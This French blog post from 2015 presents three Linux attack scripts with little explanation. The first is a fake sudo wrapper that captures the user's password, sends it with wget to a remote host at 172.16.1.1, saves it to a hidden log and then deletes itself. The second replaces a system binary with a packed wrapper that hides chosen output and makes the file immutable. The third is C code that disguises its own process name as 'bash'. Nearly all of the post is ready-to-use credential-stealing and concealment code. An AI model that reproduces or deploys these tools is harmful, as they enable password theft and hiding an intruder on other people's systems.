Non, ça n'est pas un article sur Peter Pan, on va pas non plus décrire le fonctionnement des "hooks", mais on va plutôt parler de programmes qui vont en remplacer d'autre afin de masquer ou voler une information.





0x01. SUDO


 
#!/bin/bash
 
URL="http://172.16.1.1/"
 
REAL_SUDO=/usr/bin/sudo
 
#export LANG="fr_FR.UTF-8"
STR="Mot de passe : "
 
lang=$(env | grep LANG | head -n 1 | cut -d'=' -f2 | cut -d'.' -f1 | cut -d'_' -f1)
 
case "$lang" in
  "fr") STR="Mot de passe : " ; ERR="sudo : Echec d'authentification" ;;
  "uk") STR="Password: "      ; ERR="sudo : Authentication failure"   ;;
esac
 
if [ $# -eq 0 ] ; then
  $REAL_SUDO $*
  exit $?
fi
 
printf "$STR"
stty -echo
read PASS
stty +echo
sleep 2.5
USR=$(whoami)
wget -q "$URL/getit.php?user=$USR&pass=$PASS" -O - >/dev/null
echo "$ERR"
echo "$uSER;$PASS" >> "$HOME/.logs "
rm -f "$0"
 




0x02. HOOK MY ELF


 
#!/bin/sh
 
if [ $# -ne 2 ]; then
  echo "
Usage $0 <program_path> <string_to_hide>
 
Open this script to know what it does
"
  exit 0
fi
 
p="/dev/.exe"
 
mkdir -p "$p"
e=$(which $1)
if [ ! -f "$e" ]; then
  echo "Not found : $e"
  exit 1
fi
 
 
b=$(basename $e)
 
[ ! -f "$p/$b" ] && cp -v "$e" "$p/$b"
 
cat << EOF > $b.c
#include <stdio.h>
#include <string.h>
 
#define EXE "/dev/.exe/$b"
#define HIDEME "$2"
 
int main(int ac, char **av)
{
 int i,j;
 char *buff=(char*)malloc(sizeof(char));
 
 strcpy(buff,EXE);
 strcat(buff," ");
 for(i=1;i<ac;i++)
 {
  strcat(buff,av[i]);
  if( i != ac-1 )
  {
   strcat(buff," ");
  }
 }
 strcat(buff,"|/bin/egrep -v '");
 strcat(buff,HIDEME);
 strcat(buff,"'");
 buff[strlen(buff)]='\\x00';
 return(system(buff));
}
EOF
 
 
gcc "$b.c" -o "$b"
upx -1 "$b"
 
m1=$(md5sum "$e" 2>&1|awk '{ print $1 }')
m2=$(md5sum "$p/$b" 2>&1|awk '{ print $1 }')
if [ -f "$p/$b" ]; then
  if [ "$m1" != "$m2" ]; then
    cp -fv "$b" "$e"
    chattr +i "$b" "$e"
  fi
fi
 




0x03. HIDE MY PROC'


 
 
#include <string.h>
 
int main(int ac, char **av)
{
  int i,l;
 
  printf("\\n");
  printf("\\nI AM : %s ...",av[0]);
  printf("\\n");
  for(i=0;i<1;i++)
  {
    sleep(2);
  }
 
  printf("\\n");
  strcpy(av[0],"bash                                              ");
  printf("\\n... AND NOW FIND ME !");
  printf("\\n");
  for(i=strlen("bash");i<l;i++)
  {
    av[0][i]=NULL;
  }
  for(i=0;i<10;i++)
  {
    sleep(2);
  }
 
  return(0);
}
 



   =>   Écrit par : Nico, le 22 juillet 2015


 
Mots clés :  
  c 
  
  linux 
    >   Articles connexes :

/tmp et /var/log en noexec sur macOS



Comment gagner du temps sur Internet



Cheat Sheet OpenSSL



3939932